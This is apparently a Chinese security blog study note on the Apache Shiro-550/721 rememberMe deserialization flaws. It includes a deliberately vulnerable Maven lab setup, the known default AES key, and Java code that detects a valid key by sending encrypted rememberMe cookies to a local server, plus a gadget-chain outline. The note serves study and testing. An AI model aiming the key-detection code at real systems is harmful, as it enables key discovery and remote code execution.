Skip to the content.

概述

   Shiro反序列化漏洞目前为止有两个,Shiro-550(Apache Shiro < 1.2.5)和Shiro-721( Apache Shiro < 1.4.2 )。这两个漏洞主要区别在于Shiro550使用已知密钥撞,后者Shiro721是使用登录后rememberMe={value}去爆破正确的key值进而反序列化,对比Shiro550条件只要有足够密钥库(条件比较低)、Shiro721需要登录(要求比较高鸡肋)。


环境搭建

   采用Maven仓库的形式,源码放在GitHub上,直接用Idea打开即可。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.5.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

    <groupId>org.example</groupId>
    <artifactId>shiro-deser</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-spring</artifactId>
            <version>1.2.4</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
            <version>1.2.4</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
            <exclusions>
                <exclusion>
                    <groupId>org.junit.vintage</groupId>
                    <artifactId>junit-vintage-engine</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
<!--        hutool是一款十分强大工具库-->
<!--        官网地址 https://www.hutool.cn/-->
        <dependency>
            <groupId>cn.hutool</groupId>
            <artifactId>hutool-all</artifactId>
            <version>5.5.7</version>
        </dependency>
<!--         添加commons-collections依赖作为 payload-->
<!--        <dependency>-->
<!--            <groupId>commons-collections</groupId>-->
<!--            <artifactId>commons-collections</artifactId>-->
<!--            <version>4.0</version>-->
<!--        </dependency>-->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

    <build>
    <plugins>
    <plugin>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-maven-plugin</artifactId>
        <configuration>
        // debug参数
            <jvmArguments>
                -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005
            </jvmArguments>
        </configuration>
    </plugin>
    </plugins>
    </build>
</project>

流程分析

在这里插入图片描述


Shiro‘s key爆破方式

基于原生shiro框架检测方式

l1nk3r师傅的检测思路地址: https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ 关键代码:


 SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
        obj.writeObject(simplePrincipalCollection);
        obj.close();

实现具体代码

public static void main(String[] args) throws IOException {
        // 正确key
        String realkey = "kPH+bIxk5D2deZiIxcaaaA==";
        // 错误key
        String errorkey = "2AvVhdsgUs0FSA3SDFAdag==";
        // 序列化文件路径
        String filepath = "E:\\Soures\\JavaLearnVulnerability\\shiro\\shiro-deser\\key";

        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(filepath));
        try {
            // 写入序列化数据
            obj.writeObject(simplePrincipalCollection);
            obj.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
        FileReader fileReader = new FileReader(filepath);

        CbcEncrypt cbcEncrypt = new CbcEncrypt();
        String realcookie = "rememberMe=" + cbcEncrypt.encrypt(realkey,fileReader.readBytes());
        String errorcookie = "rememberMe=" + cbcEncrypt.encrypt(errorkey,fileReader.readBytes());
        System.out.println("realcookie --> " + realcookie);
        System.out.println("errorcookie --> " + errorcookie);
        String url = "http://127.0.0.1:8001/index";
        // 发送请求包,获取返回包
        HttpResponse realresponse = HttpRequest.get(url).cookie(realcookie).execute();
        HttpResponse errorresponse = HttpRequest.get(url).cookie(errorcookie).execute();
        String result1 = realresponse.header(Header.SET_COOKIE);
        String result2 = errorresponse.header(Header.SET_COOKIE);
        // 输出结果
        System.out.println("realkey ---> " + result1);
        System.out.println("errorkey ---> " + result2);
    }

在这里插入图片描述

总结

   Gadget Chian 如下。简单来说流程就是将生成恶意Payload进行AES加密,然后Base64编码,然后以rememberMe={value}形式发送给服务器。服务器将valueBase64解码,然后将解码后数据进行AES解密,最后反序列化执行命令。    Shiro721在登录之后,用登录后服务器生成rememberMe的值进行Base64解码之后,用解码数据,再通过Padding Oracle Attack进行爆破得到key具体参考Shiro 组件漏洞与攻击链分析

 *                  Gadget chian:
 *                      DefaultSecurityManager.resolvePrincipals()
 *                          DefaultSecurityManager.getRememberedIdentity()
 *                              AbstractRememberMeManager.getRememberedPrincipals()
 *                                  CookieRememberMeManager#getRememberedSerializedIdentity()
 *                                      AbstractRememberMeManager#getRememberedPrincipals()
 *                                          AbstractRememberMeManager.convertBytesToPrincipals()
 *                                              AbstractRememberMeManager.decrypt()
 *                                                  AbstractRememberMeManager.deserialize()
 *                                                      .....................
 *                                                               ..........
 *  
 *

Shiro实用工具推荐


踩坑记录

编码不一致问题

由于Windows cmd的编码是gdk,导致读取cmd内容的时候会aced0005变成efbfbdefbfbd,导致无法反序列化。 在这里插入图片描述 解决办法将生成的payload导入文件之中,然后读取二进制数据。 在这里插入图片描述


课外知识补充

springboot debug技巧

在配置中VM options 输入-Xms512m -Xmx512m -Xmn164m -XX:MaxPermSize=250m -XX:ReservedCodeCacheSize=64m -Dserver.port=8001 -ea 在这里插入图片描述 同时在配置文件pom.xml加入

<plugin>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-maven-plugin</artifactId>
        <configuration>
            <jvmArguments>
                -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005
            </jvmArguments>
        </configuration>
    </plugin>

VScode添加插件

Hex Editor插件

在这里插入图片描述 效果如下 在这里插入图片描述

Git 自带 xxd工具

将工具路径加入环境变量 在这里插入图片描述 效果如下:

在这里插入图片描述


参考

https://issues.apache.org/jira/browse/SHIRO-550 https://paper.seebug.org/1378 https://ares-x.com/2020/10/26/Shiro%E9%AB%98%E7%89%88%E6%9C%AC%E5%8A%A0%E5%AF%86%E6%96%B9%E5%BC%8F%E4%B8%8B%E7%9A%84%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/ https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ